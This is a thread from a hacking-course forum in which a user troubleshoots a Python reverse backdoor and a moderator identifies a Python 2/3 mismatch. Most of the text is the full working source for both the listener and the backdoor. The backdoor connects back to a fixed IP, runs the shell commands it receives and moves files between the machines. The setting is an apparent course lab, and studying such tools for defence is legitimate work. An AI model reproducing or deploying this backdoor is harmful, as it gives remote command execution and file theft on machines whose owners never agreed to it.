Viewing 7 posts - 1 through 7 (of 7 total)
  • Author
    Posts
  • #54572
    swartj
    Participant

    Hello I have a problem with mybackdoor.
    When I run the backdoor I get a connection but everytime I try to execute a command I get this Error on the windows machine:
    Traceback (most recent call last):
    File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 65, in <module>
    my_backdoor.run()
    File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 43, in run
    command = self.reliable_receive()
    File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 23, in reliable_receive
    json_data = json_data + self.connection.recv(1024)
    TypeError: can only concatenate str (not “bytes”) to str

    Here is the Listener code:
    #!/usr/bin/env python
    import socket, json, base64
    class Listener:
    def __init__(self, ip, port):
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind((ip, port))
    listener.listen(0)
    print(“[+] Waiting for incoming connections.”)
    self.connection, adress = listener.accept()
    print(“[+] Got a connection.” + str(adress))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)
    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = json_data + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue
    def write_file(self, path, content):
    with open(path, “wb”) as file:
    file.write(base64.b64decode(content))
    return “[+] Download successful.”
    def read_file(self, path):
    with open(path, “rb”) as file:
    return base64.b64encode(file.read())
    def execute_remotely(self, command):
    self.reliable_send(command)
    if command[0] == “exit”:
    self.connection.close()
    exit()
    return self.reliable_receive()
    def run(self):
    while True:
    command = raw_input(“>> “)
    command = command.split(” “)
    try:
    if command[0] == “upload”:
    file_content = self.read_file(command[1])
    command.append(file_content)
    result = self.execute_remotely(command)
    if command[0] == “download” and “[-] Error ” not in result:
    result = self.write_file(command[1], result)
    except Exception:
    result = “[-] Error during command execution.”
    print(result)
    my_listener = Listener(“10.0.2.15”, 80)
    my_listener.run()

    Here is the backdoor code:
    #!/usr/bin/env python

    import socket
    import subprocess
    import json
    import os
    import base64
    import sys

    class Backdoor:
    def __init__(self, ip, port):
    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.connection.connect((ip, port))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = json_data + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue

    def read_file(self, path):
    with open(path, “rb”) as file:
    return base64.b64encode(file.read())

    def write_file(self, path, content):
    with open(path, “wb”) as file:
    file.write(base64.b64decode(content))
    return “[+] Upload successful.”

    def execute_system_command(self, command):
    DEVNULL = open(os.devnull, ‘wb’)
    return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)

    def run(self):
    while True:
    command = self.reliable_receive()
    try:
    if command[0] == “exit”:
    self.connection.close()
    sys.exit()
    elif command[0] == “cd” and len(command) > 1:
    command_result = self.change_working_direcory_to(command[1])
    elif command[0] == “download”:
    command_result = self.read_file(command[1])
    elif command[0] == “upload”:
    command_result = self.write_file(command[1], command[2])
    else:
    command_result = self.execute_system_command(command)
    except Exception:
    command_result = “[-] Error during command execution.”
    self.reliable_send(command_result)

    def change_working_direcory_to(self, path):
    os.chdir(path)
    return “[+] Changing working directory to ” + path

    my_backdoor = Backdoor(“10.0.2.15”, 80)
    my_backdoor.run()

    #54591
    Diego PérezDiego Pérez
    Participant

    Hi!
    Are you using python 2 or 3? Also your code is unreadable because it lacks of indentation. So share it using the CODE button or upload it to pastebin and share the links here.

    Greetings!
    Diego

    #54593
    swartj
    Participant

    Thank you for responidng. Im using python2 and here is my code:
    `
    #!/usr/bin/env python

    import socket
    import subprocess
    import json
    import os
    import base64
    import sys

    class Backdoor:
    def __init__(self, ip, port):
    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.connection.connect((ip, port))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = json_data + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue

    def read_file(self, path):
    with open(path, “rb”) as file:
    return base64.b64encode(file.read())

    def write_file(self, path, content):
    with open(path, “wb”) as file:
    file.write(base64.b64decode(content))
    return “[+] Upload successful.”

    def execute_system_command(self, command):
    DEVNULL = open(os.devnull, ‘wb’)
    return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)

    def run(self):
    while True:
    command = self.reliable_receive()
    try:
    if command[0] == “exit”:
    self.connection.close()
    sys.exit()
    elif command[0] == “cd” and len(command) > 1:
    command_result = self.change_working_direcory_to(command[1])
    elif command[0] == “download”:
    command_result = self.read_file(command[1])
    elif command[0] == “upload”:
    command_result = self.write_file(command[1], command[2])
    else:
    command_result = self.execute_system_command(command)
    except Exception:
    command_result = “[-] Error during command execution.”
    self.reliable_send(command_result)

    def change_working_direcory_to(self, path):
    os.chdir(path)
    return “[+] Changing working directory to ” + path

    my_backdoor = Backdoor(“10.0.2.15”, 80)
    my_backdoor.run()

    #54594
    swartj
    Participant

    Somehow the code button didnt work so here is my second try with the pastebin link:
    https://pastebin.com/CTggFDzZ

    #54643
    Diego PérezDiego Pérez
    Participant

    Hi!
    Your code looks ok, but the error seems you are using python3 in windows machine, can you sahre a screenshot with the command used to run the backdoor and the error message?

    Thanks!
    Diego

    #54666
    swartj
    Participant

    Thank you for pointing out that I should check the windows machine. I found the error and now it works fine.

    #54700
    Diego PérezDiego Pérez
    Participant

    Hi!

    Cool you got it!
    Diego

Viewing 7 posts - 1 through 7 (of 7 total)
  • You must be logged in to reply to this topic.
Privacy Overview
ZSecurity logo featuring a stylized red letter Z

This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.

Strictly Necessary Cookies

Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.

3rd Party Cookies

This website uses Google Analytics and Linkedin to collect anonymous information such as the number of visitors to the site, and the most popular pages.

Keeping these cookies enabled helps us to improve our website.